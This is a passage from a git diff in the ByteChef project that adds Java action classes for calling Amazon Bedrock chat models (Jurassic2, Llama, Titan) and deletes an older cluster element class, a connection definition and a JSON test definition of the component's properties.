+                .temperature(inputParameters.getDouble(TEMPERATURE))
+                .maxTokens(inputParameters.getInteger(MAX_TOKENS))
+                .topP(inputParameters.getDouble(TOP_P))
+                .stopSequences(inputParameters.getList(STOP, new TypeReference<>() {}))
+                .topK(inputParameters.getInteger(TOP_K))
+                .minTokens(inputParameters.getInteger(MIN_TOKENS))
+                .numResults(inputParameters.getInteger(N))
+                .prompt(inputParameters.getString(PROMPT))
+                .countPenaltyOptions(BedrockAi21Jurassic2ChatOptions.Penalty.builder()
+                    .scale(inputParameters.getDouble(COUNT_PENALTY))
+                    .build())
+                .frequencyPenaltyOptions(BedrockAi21Jurassic2ChatOptions.Penalty.builder()
+                    .scale(inputParameters.getDouble(FREQUENCY_PENALTY))
+                    .build())
+                .presencePenaltyOptions(BedrockAi21Jurassic2ChatOptions.Penalty.builder()
+                    .scale(inputParameters.getDouble(PRESENCE_PENALTY))
+                    .build())
+                .build());
+
+    private AmazonBedrockJurassic2ChatAction() {
+    }
+
+    public static Object perform(
+        Parameters inputParameters, Parameters connectionParameters, ActionContext context) {
+
+        return CHAT_MODEL.getResponse(inputParameters, connectionParameters, context);
+    }
+}
diff --git a/server/libs/modules/components/ai/llm/amazon-bedrock/src/main/java/com/bytechef/component/ai/llm/amazon/bedrock/action/AmazonBedrockLlamaChatAction.java b/server/libs/modules/components/ai/llm/amazon-bedrock/src/main/java/com/bytechef/component/ai/llm/amazon/bedrock/action/AmazonBedrockLlamaChatAction.java
new file mode 100644
index 00000000000..0410910dc0e
--- /dev/null
+++ b/server/libs/modules/components/ai/llm/amazon-bedrock/src/main/java/com/bytechef/component/ai/llm/amazon/bedrock/action/AmazonBedrockLlamaChatAction.java
@@ -0,0 +1,88 @@
+/*
+ * Copyright 2023-present ByteChef Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      https://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.bytechef.component.ai.llm.amazon.bedrock.action;
+
+import static com.bytechef.component.ai.llm.amazon.bedrock.constant.AmazonBedrockConstants.ACCESS_KEY_ID;
+import static com.bytechef.component.ai.llm.amazon.bedrock.constant.AmazonBedrockConstants.REGION;
+import static com.bytechef.component.ai.llm.amazon.bedrock.constant.AmazonBedrockConstants.SECRET_ACCESS_KEY;
+import static com.bytechef.component.ai.llm.constant.LLMConstants.MAX_TOKENS;
+import static com.bytechef.component.ai.llm.constant.LLMConstants.MAX_TOKENS_PROPERTY;
+import static com.bytechef.component.ai.llm.constant.LLMConstants.MESSAGES_PROPERTY;
+import static com.bytechef.component.ai.llm.constant.LLMConstants.MODEL;
+import static com.bytechef.component.ai.llm.constant.LLMConstants.RESPONSE_PROPERTY;
+import static com.bytechef.component.ai.llm.constant.LLMConstants.TEMPERATURE;
+import static com.bytechef.component.ai.llm.constant.LLMConstants.TEMPERATURE_PROPERTY;
+import static com.bytechef.component.ai.llm.constant.LLMConstants.TOP_P;
+import static com.bytechef.component.ai.llm.constant.LLMConstants.TOP_P_PROPERTY;
+import static com.bytechef.component.definition.ComponentDsl.action;
+import static com.bytechef.component.definition.ComponentDsl.string;
+
+import com.bytechef.component.ai.llm.ChatModel;
+import com.bytechef.component.ai.llm.amazon.bedrock.constant.AmazonBedrockConstants;
+import com.bytechef.component.ai.llm.util.LLMUtils;
+import com.bytechef.component.definition.ActionContext;
+import com.bytechef.component.definition.ComponentDsl.ModifiableActionDefinition;
+import com.bytechef.component.definition.Parameters;
+import org.springframework.ai.bedrock.llama.BedrockLlamaChatModel;
+import org.springframework.ai.bedrock.llama.BedrockLlamaChatOptions;
+import org.springframework.ai.bedrock.llama.api.LlamaChatBedrockApi;
+import software.amazon.awssdk.auth.credentials.AwsBasicCredentials;
+
+/**
+ * @author Marko Kriskovic
+ */
+public class AmazonBedrockLlamaChatAction {
+
+    public static final ModifiableActionDefinition ACTION_DEFINITION = action("askLlama")
+        .title("Ask Llama")
+        .description("Ask anything you want.")
+        .properties(
+            string(MODEL)
+                .label("Model")
+                .description("ID of the model to use.")
+                .required(true)
+                .options(AmazonBedrockConstants.LLAMA_MODELS),
+            MESSAGES_PROPERTY,
+            RESPONSE_PROPERTY,
+            MAX_TOKENS_PROPERTY,
+            TEMPERATURE_PROPERTY,
+            TOP_P_PROPERTY)
+        .output(LLMUtils::output)
+        .perform(AmazonBedrockLlamaChatAction::perform);
+
+    public static final ChatModel CHAT_MODEL = (inputParameters, connectionParameters) -> new BedrockLlamaChatModel(
+        new LlamaChatBedrockApi(
+            inputParameters.getRequiredString(MODEL),
+            () -> AwsBasicCredentials.create(
+                connectionParameters.getRequiredString(ACCESS_KEY_ID),
+                connectionParameters.getRequiredString(SECRET_ACCESS_KEY)),
+            connectionParameters.getRequiredString(REGION), new ObjectMapper()),
+        BedrockLlamaChatOptions.builder()
+            .temperature(inputParameters.getDouble(TEMPERATURE))
+            .maxGenLen(inputParameters.getInteger(MAX_TOKENS))
+            .topP(inputParameters.getDouble(TOP_P))
+            .build());
+
+    private AmazonBedrockLlamaChatAction() {
+    }
+
+    public static Object perform(
+        Parameters inputParameters, Parameters connectionParameters, ActionContext context) {
+
+        return CHAT_MODEL.getResponse(inputParameters, connectionParameters, context);
+    }
+}
diff --git a/server/libs/modules/components/ai/llm/amazon-bedrock/src/main/java/com/bytechef/component/ai/llm/amazon/bedrock/action/AmazonBedrockTitanChatAction.java b/server/libs/modules/components/ai/llm/amazon-bedrock/src/main/java/com/bytechef/component/ai/llm/amazon/bedrock/action/AmazonBedrockTitanChatAction.java
new file mode 100644
index 00000000000..4b339a339fb
--- /dev/null
+++ b/server/libs/modules/components/ai/llm/amazon-bedrock/src/main/java/com/bytechef/component/ai/llm/amazon/bedrock/action/AmazonBedrockTitanChatAction.java
@@ -0,0 +1,92 @@
+/*
+ * Copyright 2023-present ByteChef Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      https://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.bytechef.component.ai.llm.amazon.bedrock.action;
+
+import static com.bytechef.component.ai.llm.amazon.bedrock.constant.AmazonBedrockConstants.ACCESS_KEY_ID;
+import static com.bytechef.component.ai.llm.amazon.bedrock.constant.AmazonBedrockConstants.REGION;
+import static com.bytechef.component.ai.llm.amazon.bedrock.constant.AmazonBedrockConstants.SECRET_ACCESS_KEY;
+import static com.bytechef.component.ai.llm.constant.LLMConstants.MAX_TOKENS;
+import static com.bytechef.component.ai.llm.constant.LLMConstants.MAX_TOKENS_PROPERTY;
+import static com.bytechef.component.ai.llm.constant.LLMConstants.MESSAGES_PROPERTY;
+import static com.bytechef.component.ai.llm.constant.LLMConstants.MODEL;
+import static com.bytechef.component.ai.llm.constant.LLMConstants.RESPONSE_PROPERTY;
+import static com.bytechef.component.ai.llm.constant.LLMConstants.STOP;
+import static com.bytechef.component.ai.llm.constant.LLMConstants.STOP_PROPERTY;
+import static com.bytechef.component.ai.llm.constant.LLMConstants.TEMPERATURE;
+import static com.bytechef.component.ai.llm.constant.LLMConstants.TEMPERATURE_PROPERTY;
+import static com.bytechef.component.ai.llm.constant.LLMConstants.TOP_P;
+import static com.bytechef.component.ai.llm.constant.LLMConstants.TOP_P_PROPERTY;
+import static com.bytechef.component.definition.ComponentDsl.action;
+import static com.bytechef.component.definition.ComponentDsl.string;
+
+import com.bytechef.component.ai.llm.ChatModel;
+import com.bytechef.component.ai.llm.amazon.bedrock.constant.AmazonBedrockConstants;
+import com.bytechef.component.ai.llm.util.LLMUtils;
+import com.bytechef.component.definition.ActionContext;
+import com.bytechef.component.definition.ComponentDsl.ModifiableActionDefinition;
+import com.bytechef.component.definition.Parameters;
+import com.bytechef.component.definition.TypeReference;
+import org.springframework.ai.bedrock.titan.BedrockTitanChatModel;
+import org.springframework.ai.bedrock.titan.BedrockTitanChatOptions;
+import org.springframework.ai.bedrock.titan.api.TitanChatBedrockApi;
+import software.amazon.awssdk.auth.credentials.AwsBasicCredentials;
+
+/**
+ * @author Marko Kriskovic
+ */
+public class AmazonBedrockTitanChatAction {
+
+    public static final ModifiableActionDefinition ACTION_DEFINITION = action("askTitan")
+        .title("Ask Titan")
+        .description("Ask anything you want.")
+        .properties(
+            string(MODEL)
+                .label("Model")
+                .description("ID of the model to use.")
+                .required(true)
+                .options(AmazonBedrockConstants.TITAN_MODELS),
+            MESSAGES_PROPERTY,
+            RESPONSE_PROPERTY,
+            MAX_TOKENS_PROPERTY,
+            TEMPERATURE_PROPERTY,
+            TOP_P_PROPERTY,
+            STOP_PROPERTY)
+        .output(LLMUtils::output)
+        .perform(AmazonBedrockTitanChatAction::perform);
+
+    public static final ChatModel CHAT_MODEL = (inputParameters, connectionParameters) -> new BedrockTitanChatModel(
+        new TitanChatBedrockApi(inputParameters.getRequiredString(MODEL),
+            () -> AwsBasicCredentials.create(
+                connectionParameters.getRequiredString(ACCESS_KEY_ID),
+                connectionParameters.getRequiredString(SECRET_ACCESS_KEY)),
+            connectionParameters.getRequiredString(REGION), new ObjectMapper()),
+        BedrockTitanChatOptions.builder()
+            .withTemperature(inputParameters.getDouble(TEMPERATURE))
+            .withMaxTokenCount(inputParameters.getInteger(MAX_TOKENS))
+            .withTopP(inputParameters.getDouble(TOP_P))
+            .withStopSequences(inputParameters.getList(STOP, new TypeReference<>() {}))
+            .build());
+
+    private AmazonBedrockTitanChatAction() {
+    }
+
+    public static Object perform(
+        Parameters inputParameters, Parameters connectionParameters, ActionContext context) {
+
+        return CHAT_MODEL.getResponse(inputParameters, connectionParameters, context);
+    }
+}
diff --git a/server/libs/modules/components/ai/llm/amazon-bedrock/src/main/java/com/bytechef/component/ai/llm/amazon/bedrock/cluster/AmazonBedrockChatModel.java b/server/libs/modules/components/ai/llm/amazon-bedrock/src/main/java/com/bytechef/component/ai/llm/amazon/bedrock/cluster/AmazonBedrockChatModel.java
deleted file mode 100644
index 4ec3f5575d1..00000000000
--- a/server/libs/modules/components/ai/llm/amazon-bedrock/src/main/java/com/bytechef/component/ai/llm/amazon/bedrock/cluster/AmazonBedrockChatModel.java
+++ /dev/null
@@ -1,55 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.ai.llm.amazon.bedrock.cluster;
-
-import static com.bytechef.component.ai.llm.amazon.bedrock.action.AmazonBedrockChatAction.CHAT_MODEL;
-import static com.bytechef.component.ai.llm.amazon.bedrock.constant.AmazonBedrockConstants.CHAT_MODEL_PROPERTY;
-import static com.bytechef.component.ai.llm.constant.LLMConstants.MAX_TOKENS_PROPERTY;
-import static com.bytechef.component.ai.llm.constant.LLMConstants.RESPONSE_PROPERTY;
-import static com.bytechef.component.ai.llm.constant.LLMConstants.TEMPERATURE_PROPERTY;
-import static com.bytechef.component.ai.llm.constant.LLMConstants.TOP_P_PROPERTY;
-
-import com.bytechef.component.definition.ClusterElementDefinition;
-import com.bytechef.component.definition.ComponentDsl;
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.platform.component.definition.ai.agent.ModelFunction;
-import org.springframework.ai.chat.model.ChatModel;
-
-/**
- * @author Monika Kušter
- */
-public class AmazonBedrockChatModel {
-
-    public static final ClusterElementDefinition<ModelFunction> CLUSTER_ELEMENT_DEFINITION =
-        ComponentDsl.<ModelFunction>clusterElement("model")
-            .title("Amazon Bedrock Model")
-            .description("Amazon Bedrock model.")
-            .type(ModelFunction.MODEL)
-            .object(() -> AmazonBedrockChatModel::apply)
-            .properties(
-                CHAT_MODEL_PROPERTY,
-                RESPONSE_PROPERTY,
-                MAX_TOKENS_PROPERTY,
-                TEMPERATURE_PROPERTY,
-                TOP_P_PROPERTY);
-
-    protected static ChatModel apply(
-        Parameters inputParameters, Parameters connectionParameters, boolean responseFormatRequired) {
-
-        return CHAT_MODEL.createChatModel(inputParameters, connectionParameters, responseFormatRequired);
-    }
-}
diff --git a/server/libs/modules/components/ai/llm/amazon-bedrock/src/main/java/com/bytechef/component/ai/llm/amazon/bedrock/connection/AmazonBedrockConnection.java b/server/libs/modules/components/ai/llm/amazon-bedrock/src/main/java/com/bytechef/component/ai/llm/amazon/bedrock/connection/AmazonBedrockConnection.java
index 4736e9db752..e69de29bb2d 100644
--- a/server/libs/modules/components/ai/llm/amazon-bedrock/src/main/java/com/bytechef/component/ai/llm/amazon/bedrock/connection/AmazonBedrockConnection.java
+++ b/server/libs/modules/components/ai/llm/amazon-bedrock/src/main/java/com/bytechef/component/ai/llm/amazon/bedrock/connection/AmazonBedrockConnection.java
@@ -1,54 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.ai.llm.amazon.bedrock.connection;
-
-import static com.bytechef.component.ai.llm.amazon.bedrock.constant.AmazonBedrockConstants.ACCESS_KEY_ID;
-import static com.bytechef.component.ai.llm.amazon.bedrock.constant.AmazonBedrockConstants.REGION;
-import static com.bytechef.component.ai.llm.amazon.bedrock.constant.AmazonBedrockConstants.REGION_OPTIONS;
-import static com.bytechef.component.ai.llm.amazon.bedrock.constant.AmazonBedrockConstants.SECRET_ACCESS_KEY;
-import static com.bytechef.component.definition.ComponentDsl.authorization;
-import static com.bytechef.component.definition.ComponentDsl.connection;
-import static com.bytechef.component.definition.ComponentDsl.string;
-
-import com.bytechef.component.definition.Authorization.AuthorizationType;
-import com.bytechef.component.definition.ComponentDsl.ModifiableConnectionDefinition;
-import software.amazon.awssdk.regions.Region;
-
-/**
- * @author Marko Kriskovic
- * @author Monika Kušter
- */
-public final class AmazonBedrockConnection {
-
-    public static final ModifiableConnectionDefinition CONNECTION_DEFINITION = connection()
-        .authorizations(
-            authorization(AuthorizationType.CUSTOM)
-                .properties(
-                    string(ACCESS_KEY_ID)
-                        .label("Access Key ID")
-                        .required(true),
-                    string(SECRET_ACCESS_KEY)
-                        .label("Secret Access Key")
-                        .required(true),
-                    string(REGION)
-                        .options(REGION_OPTIONS)
-                        .defaultValue(Region.US_EAST_1.id())
-                        .required(true)));
-
-    private AmazonBedrockConnection() {
-    }
-}
diff --git a/server/libs/modules/components/ai/llm/amazon-bedrock/src/test/resources/definition/amazon-bedrock_v1.json b/server/libs/modules/components/ai/llm/amazon-bedrock/src/test/resources/definition/amazon-bedrock_v1.json
deleted file mode 100644
index 5c0664d449b..00000000000
--- a/server/libs/modules/components/ai/llm/amazon-bedrock/src/test/resources/definition/amazon-bedrock_v1.json
+++ /dev/null
@@ -1,979 +0,0 @@
-{
-  "actions": [ {
-    "batch": null,
-    "beforeResume": null,
-    "beforeSuspend": null,
-    "beforeTimeoutResume": null,
-    "deprecated": null,
-    "description": "Ask anything you want.",
-    "help": null,
-    "metadata": null,
-    "name": "ask",
-    "outputDefinition": {
-      "output": { },
-      "outputResponse": null,
-      "outputSchema": null,
-      "sampleOutput": null
-    },
-    "perform": { },
-    "processErrorResponse": null,
-    "properties": [ {
-      "advancedOption": null,
-      "controlType": "TEXT",
-      "defaultValue": null,
-      "description": "ID of the model to use.",
-      "displayCondition": null,
-      "exampleValue": null,
-      "expressionEnabled": null,
-      "hidden": null,
-      "label": "Model",
-      "languageId": null,
-      "maxLength": null,
-      "metadata": { },
-      "minLength": null,
-      "name": "model",
-      "options": null,
-      "optionsDataSource": null,
-      "optionsLoadedDynamically": null,
-      "placeholder": null,
-      "regex": null,
-      "required": true,
-      "type": "STRING"
-    }, {
-      "advancedOption": null,
-      "controlType": "SELECT",
-      "defaultValue": "SIMPLE",
-      "description": "Format of providing the prompt to the model.",
-      "displayCondition": null,
-      "exampleValue": null,
-      "expressionEnabled": null,
-      "hidden": null,
-      "label": "Format",
-      "languageId": null,
-      "maxLength": null,
-      "metadata": { },
-      "minLength": null,
-      "name": "format",
-      "options": [ {
-        "description": "User prompt and optional system prompt.",
-        "label": "Simple",
-        "value": "SIMPLE"
-      }, {
-        "description": "Full control over the messages sent to the model.",
-        "label": "Advanced",
-        "value": "ADVANCED"
-      } ],
-      "optionsDataSource": null,
-      "optionsLoadedDynamically": null,
-      "placeholder": null,
-      "regex": null,
-      "required": true,
-      "type": "STRING"
-    }, {
-      "advancedOption": null,
-      "controlType": "TEXT_AREA",
-      "defaultValue": null,
-      "description": "User prompt to the model.",
-      "displayCondition": "format == 'SIMPLE'",
-      "exampleValue": null,
-      "expressionEnabled": null,
-      "hidden": null,
-      "label": "Prompt",
-      "languageId": null,
-      "maxLength": null,
-      "metadata": { },
-      "minLength": null,
-      "name": "userPrompt",
-      "options": null,
-      "optionsDataSource": null,
-      "optionsLoadedDynamically": null,
-      "placeholder": null,
-      "regex": null,
-      "required": true,
-      "type": "STRING"
-    }, {
-      "advancedOption": null,
-      "controlType": "TEXT_AREA",
-      "defaultValue": null,
-      "description": "System prompt to the model.",
-      "displayCondition": "format == 'SIMPLE'",
-      "exampleValue": null,
-      "expressionEnabled": null,
-      "hidden": null,
-      "label": "System Prompt",
-      "languageId": null,
-      "maxLength": null,
-      "metadata": { },
-      "minLength": null,
-      "name": "systemPrompt",
-      "options": null,
-      "optionsDataSource": null,
-      "optionsLoadedDynamically": null,
-      "placeholder": null,
-      "regex": null,
-      "required": false,
-      "type": "STRING"
-    }, {
-      "advancedOption": null,
-      "controlType": "ARRAY_BUILDER",
-      "defaultValue": null,
-      "description": "A list of messages comprising the conversation so far.",
-      "displayCondition": "format == 'ADVANCED'",
-      "exampleValue": null,
-      "expressionEnabled": null,
-      "hidden": null,
-      "items": [ {
-        "additionalProperties": null,
-        "advancedOption": null,
-        "controlType": "OBJECT_BUILDER",
-        "defaultValue": null,
-        "description": null,
-        "displayCondition": null,
-        "exampleValue": null,
-        "expressionEnabled": null,
-        "hidden": null,
-        "label": "Message",
-        "metadata": { },
-        "multipleValues": null,
-        "name": null,
-        "options": null,
-        "optionsDataSource": null,
-        "placeholder": null,
-        "properties": [ {
-          "advancedOption": null,
-          "controlType": "SELECT",
-          "defaultValue": null,
-          "description": "The role of the messages author.",
-          "displayCondition": null,
-          "exampleValue": null,
-          "expressionEnabled": null,
-          "hidden": null,
-          "label": "Role",
-          "languageId": null,
-          "maxLength": null,
-          "metadata": { },
-          "minLength": null,
-          "name": "role",
-          "options": [ {
-            "description": null,
-            "label": "System",
-            "value": "SYSTEM"
-          }, {
-            "description": null,
-            "label": "User",
-            "value": "USER"
-          }, {
-            "description": null,
-            "label": "Assistant",
-            "value": "ASSISTANT"
-          } ],
-          "optionsDataSource": null,
-          "optionsLoadedDynamically": null,
-          "placeholder": null,
-          "regex": null,
-          "required": true,
-          "type": "STRING"
-        }, {
-          "advancedOption": null,
-          "controlType": "TEXT_AREA",
-          "defaultValue": null,
-          "description": "The contents of the message.",
-          "displayCondition": null,
-          "exampleValue": null,
-          "expressionEnabled": null,
-          "hidden": null,
-          "label": "Content",
-          "languageId": null,
-          "maxLength": null,
-          "metadata": { },
-          "minLength": null,
-          "name": "content",
-          "options": null,
-          "optionsDataSource": null,
-          "optionsLoadedDynamically": null,
-          "placeholder": null,
-          "regex": null,
-          "required": true,
-          "type": "STRING"
-        }, {
-          "advancedOption": null,
-          "controlType": "ARRAY_BUILDER",
-          "defaultValue": null,
-          "description": "Only text and image files are supported. Also, only certain models supports images. Please check the documentation.",
-          "displayCondition": "messages[index].role == 'USER'",
-          "exampleValue": null,
-          "expressionEnabled": null,
-          "hidden": null,
-          "items": [ {
-            "advancedOption": null,
-            "controlType": "FILE_ENTRY",
-            "defaultValue": null,
-            "description": null,
-            "displayCondition": null,
-            "exampleValue": null,
-            "expressionEnabled": null,
-            "hidden": null,
-            "label": null,
-            "metadata": { },
-            "name": null,
-            "placeholder": null,
-            "properties": [ {
-              "advancedOption": null,
-              "controlType": "TEXT",
-              "defaultValue": null,
-              "description": null,
-              "displayCondition": null,
-              "exampleValue": null,
-              "expressionEnabled": null,
-              "hidden": null,
-              "label": null,
-              "languageId": null,
-              "maxLength": null,
-              "metadata": { },
-              "minLength": null,
-              "name": "extension",
-              "options": null,
-              "optionsDataSource": null,
-              "optionsLoadedDynamically": null,
-              "placeholder": null,
-              "regex": null,
-              "required": true,
-              "type": "STRING"
-            }, {
-              "advancedOption": null,
-              "controlType": "TEXT",
-              "defaultValue": null,
-              "description": null,
-              "displayCondition": null,
-              "exampleValue": null,
-              "expressionEnabled": null,
-              "hidden": null,
-              "label": null,
-              "languageId": null,
-              "maxLength": null,
-              "metadata": { },
-              "minLength": null,
-              "name": "mimeType",
-              "options": null,
-              "optionsDataSource": null,
-              "optionsLoadedDynamically": null,
-              "placeholder": null,
-              "regex": null,
-              "required": true,
-              "type": "STRING"
-            }, {
-              "advancedOption": null,
-              "controlType": "TEXT",
-              "defaultValue": null,
-              "description": null,
-              "displayCondition": null,
-              "exampleValue": null,
-              "expressionEnabled": null,
-              "hidden": null,
-              "label": null,
-              "languageId": null,
-              "maxLength": null,
-              "metadata": { },
-              "minLength": null,
-              "name": "name",
-              "options": null,
-              "optionsDataSource": null,
-              "optionsLoadedDynamically": null,
-              "placeholder": null,
-              "regex": null,
-              "required": true,
-              "type": "STRING"
-            }, {
-              "advancedOption": null,
-              "controlType": "TEXT",
-              "defaultValue": null,
-              "description": null,
-              "displayCondition": null,
-              "exampleValue": null,
-              "expressionEnabled": null,
-              "hidden": null,
-              "label": null,
-              "languageId": null,
-              "maxLength": null,
-              "metadata": { },
-              "minLength": null,
-              "name": "url",
-              "options": null,
-              "optionsDataSource": null,
-              "optionsLoadedDynamically": null,
-              "placeholder": null,
-              "regex": null,
-              "required": true,
-              "type": "STRING"
-            } ],
-            "required": null,
-            "type": "FILE_ENTRY"
-          } ],
-          "label": "Attachments",
-          "maxItems": null,
-          "metadata": { },
-          "minItems": null,
-          "multipleValues": null,
-          "name": "attachments",
-          "options": null,
-          "optionsDataSource": null,
-          "placeholder": null,
-          "required": false,
-          "type": "ARRAY"
-        } ],
-        "required": null,
-        "type": "OBJECT"
-      } ],
-      "label": "Messages",
-      "maxItems": null,
-      "metadata": { },
-      "minItems": null,
-      "multipleValues": null,
-      "name": "messages",
-      "options": null,
-      "optionsDataSource": null,
-      "placeholder": "Add message",
-      "required": true,
-      "type": "ARRAY"
-    }, {
-      "additionalProperties": null,
-      "advancedOption": null,
-      "controlType": "OBJECT_BUILDER",
-      "defaultValue": null,
-      "description": "The response from the API.",
-      "displayCondition": null,
-      "exampleValue": null,
-      "expressionEnabled": null,
-      "hidden": null,
-      "label": "Response",
-      "metadata": { },
-      "multipleValues": null,
-      "name": "response",
-      "options": null,
-      "optionsDataSource": null,
-      "placeholder": null,
-      "properties": [ {
-        "advancedOption": null,
-        "controlType": "SELECT",
-        "defaultValue": "TEXT",
-        "description": "In which format do you want the response to be in?",
-        "displayCondition": null,
-        "exampleValue": null,
-        "expressionEnabled": null,
-        "hidden": null,
-        "label": "Response Format",
-        "languageId": null,
-        "maxLength": null,
-        "metadata": { },
-        "minLength": null,
-        "name": "responseFormat",
-        "options": [ {
-          "description": "Response as text",
-          "label": "Text",
-          "value": "TEXT"
-        }, {
-          "description": "Response as data in a simple format using keys and values",
-          "label": "Structured data",
-          "value": "JSON"
-        } ],
-        "optionsDataSource": null,
-        "optionsLoadedDynamically": null,
-        "placeholder": null,
-        "regex": null,
-        "required": true,
-        "type": "STRING"
-      }, {
-        "advancedOption": null,
-        "controlType": "JSON_SCHEMA_BUILDER",
-        "defaultValue": null,
-        "description": "Define desired structure for the structured data response.",
-        "displayCondition": "response.responseFormat == 'JSON'",
-        "exampleValue": null,
-        "expressionEnabled": null,
-        "hidden": null,
-        "label": "Response Schema",
-        "languageId": null,
-        "maxLength": null,
-        "metadata": { },
-        "minLength": null,
-        "name": "responseSchema",
-        "options": null,
-        "optionsDataSource": null,
-        "optionsLoadedDynamically": null,
-        "placeholder": null,
-        "regex": null,
-        "required": true,
-        "type": "STRING"
-      } ],
-      "required": true,
-      "type": "OBJECT"
-    }, {
-      "advancedOption": true,
-      "controlType": "INTEGER",
-      "defaultValue": null,
-      "description": "The maximum number of tokens to generate in the chat completion.",
-      "displayCondition": null,
-      "exampleValue": null,
-      "expressionEnabled": null,
-      "hidden": null,
-      "label": "Max Tokens",
-      "maxValue": null,
-      "metadata": { },
-      "minValue": null,
-      "name": "maxTokens",
-      "options": null,
-      "optionsDataSource": null,
-      "placeholder": null,
-      "required": null,
-      "type": "INTEGER"
-    }, {
-      "advancedOption": true,
-      "controlType": "NUMBER",
-      "defaultValue": 1.0,
-      "description": "Controls randomness:  Higher values will make the output more random, while lower values like will make it more focused and deterministic.",
-      "displayCondition": null,
-      "exampleValue": null,
-      "expressionEnabled": null,
-      "hidden": null,
-      "label": "Temperature",
-      "maxNumberPrecision": null,
-      "maxValue": 2.0,
-      "metadata": { },
-      "minNumberPrecision": null,
-      "minValue": 0.0,
-      "name": "temperature",
-      "numberPrecision": null,
-      "options": null,
-      "optionsDataSource": null,
-      "placeholder": null,
-      "required": null,
-      "type": "NUMBER"
-    }, {
-      "advancedOption": true,
-      "controlType": "NUMBER",
-      "defaultValue": 1.0,
-      "description": "An alternative to sampling with temperature, called nucleus sampling,  where the model considers the results of the tokens with top_p probability mass. So 0.1 means only the tokens comprising the top 10% probability mass are considered.",
-      "displayCondition": null,
-      "exampleValue": null,
-      "expressionEnabled": null,
-      "hidden": null,
-      "label": "Top P",
-      "maxNumberPrecision": null,
-      "maxValue": null,
-      "metadata": { },
-      "minNumberPrecision": null,
-      "minValue": null,
-      "name": "topP",
-      "numberPrecision": null,
-      "options": null,
-      "optionsDataSource": null,
-      "placeholder": null,
-      "required": null,
-      "type": "NUMBER"
-    } ],
-    "resumePerform": null,
-    "suspendPerform": null,
-    "title": "Ask",
-    "workflowNodeDescription": null
-  } ],
-  "clusterElements": [ {
-    "name": "model",
-    "description": "Amazon Bedrock model.",
-    "element": { },
-    "help": null,
-    "outputDefinition": null,
-    "processErrorResponse": null,
-    "properties": [ {
-      "advancedOption": null,
-      "controlType": "TEXT",
-      "defaultValue": null,
-      "description": "ID of the model to use.",
-      "displayCondition": null,
-      "exampleValue": null,
-      "expressionEnabled": null,
-      "hidden": null,
-      "label": "Model",
-      "languageId": null,
-      "maxLength": null,
-      "metadata": { },
-      "minLength": null,
-      "name": "model",
-      "options": null,
-      "optionsDataSource": null,
-      "optionsLoadedDynamically": null,
-      "placeholder": null,
-      "regex": null,
-      "required": true,
-      "type": "STRING"
-    }, {
-      "additionalProperties": null,
-      "advancedOption": null,
-      "controlType": "OBJECT_BUILDER",
-      "defaultValue": null,
-      "description": "The response from the API.",
-      "displayCondition": null,
-      "exampleValue": null,
-      "expressionEnabled": null,
-      "hidden": null,
-      "label": "Response",
-      "metadata": { },
-      "multipleValues": null,
-      "name": "response",
-      "options": null,
-      "optionsDataSource": null,
-      "placeholder": null,
-      "properties": [ {
-        "advancedOption": null,
-        "controlType": "SELECT",
-        "defaultValue": "TEXT",
-        "description": "In which format do you want the response to be in?",
-        "displayCondition": null,
-        "exampleValue": null,
-        "expressionEnabled": null,
-        "hidden": null,
-        "label": "Response Format",
-        "languageId": null,
-        "maxLength": null,
-        "metadata": { },
-        "minLength": null,
-        "name": "responseFormat",
-        "options": [ {
-          "description": "Response as text",
-          "label": "Text",
-          "value": "TEXT"
-        }, {
-          "description": "Response as data in a simple format using keys and values",
-          "label": "Structured data",
-          "value": "JSON"
-        } ],
-        "optionsDataSource": null,
-        "optionsLoadedDynamically": null,
-        "placeholder": null,
-        "regex": null,
-        "required": true,
-        "type": "STRING"
-      }, {
-        "advancedOption": null,
-        "controlType": "JSON_SCHEMA_BUILDER",
-        "defaultValue": null,
-        "description": "Define desired structure for the structured data response.",
-        "displayCondition": "response.responseFormat == 'JSON'",
-        "exampleValue": null,
-        "expressionEnabled": null,
-        "hidden": null,
-        "label": "Response Schema",
-        "languageId": null,
-        "maxLength": null,
-        "metadata": { },
-        "minLength": null,
-        "name": "responseSchema",
-        "options": null,
-        "optionsDataSource": null,
-        "optionsLoadedDynamically": null,
-        "placeholder": null,
-        "regex": null,
-        "required": true,
-        "type": "STRING"
-      } ],
-      "required": true,
-      "type": "OBJECT"
-    }, {
-      "advancedOption": true,
-      "controlType": "INTEGER",
-      "defaultValue": null,
-      "description": "The maximum number of tokens to generate in the chat completion.",
-      "displayCondition": null,
-      "exampleValue": null,
-      "expressionEnabled": null,
-      "hidden": null,
-      "label": "Max Tokens",
-      "maxValue": null,
-      "metadata": { },
